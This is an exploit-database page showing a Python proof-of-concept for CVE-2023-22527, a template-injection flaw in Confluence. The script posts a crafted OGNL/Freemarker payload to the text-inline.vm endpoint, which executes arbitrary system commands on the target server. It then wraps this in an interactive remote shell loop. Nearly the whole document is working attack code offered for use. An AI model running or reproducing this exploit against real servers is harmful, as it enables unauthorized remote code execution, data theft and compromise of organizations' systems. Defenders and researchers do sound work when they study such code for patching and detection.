Exploit databaseDownload repository ZIP
GH-e61f29d1a4d0795650f34595caffee32
kh4sh3i/cve-2023-22527
Sources for CVE-2023-22527
24 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
kh4sh3i/cve-2023-22527Revision 1f362f487770
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2023-22527.py
Suggested starting filePython · 2,776 bytesimport requests
import argparse
class Exploit:
def __init__(self, url):
self.url = url.rstrip('/') # Remove trailing slash if present
self.check_vulnerability()
def check_vulnerability(self):
try:
response = requests.get(self.url, timeout=5)
if response.status_code == 200:
print(f"[INFO] Target {self.url} is reachable.")
else:
print(f"[WARNING] Target {self.url} returned status code {response.status_code}.")
except requests.RequestException as e:
print(f"[ERROR] Failed to connect to {self.url}: {e}")
exit(1)
def rce(self, cmd):
# Check if command is valid before proceeding
if not cmd.strip():
print("[ERROR] No command provided.")
return ""
payload = (
'label=\\u0027%2b#request\\u005b\\u0027.KEY_velocity.struts2.context\\u0027'
'\\u005d.internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%2b\\u0027&x='
'@org.apache.struts2.ServletActionContext@getResponse().getWriter().write(('
'new freemarker.template.utility.Execute()).exec({"'+cmd+'"}))\r\n'
)
try:
response = requests.post(
f'{self.url}/template/aui/text-inline.vm',
data=payload,
headers={
'Connection': 'close',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': str(len(payload))
},
timeout=5
)
if response.status_code == 200:
return response.text.split('<!DOCTYPE html>')[0].strip()
else:
print(f"[ERROR] Request failed with status code {response.status_code}")
return ""
except requests.RequestException as e:
print(f"[ERROR] Failed to exploit the target: {e}")
return ""
def shell(self):
print('[INFO] Starting semi-interactive shell. Type "exit" to quit.')
while True:
cmd = input('$ ').strip()
if cmd.lower() == 'exit':
print("[INFO] Exiting shell.")
break
result = self.rce(cmd)
if result:
print(result)
def parse_args():
parser = argparse.ArgumentParser(description='POC for CVE-2023-22527 (Confluence SSTI)')
parser.add_argument("-u", dest="url", type=str, required=True, help="Target URL (required)")
return parser.parse_args()
def main(args):
exp = Exploit(url=args.url)
exp.shell() # Automatically start interactive shell
if __name__ == '__main__':
args = parse_args()
main(args)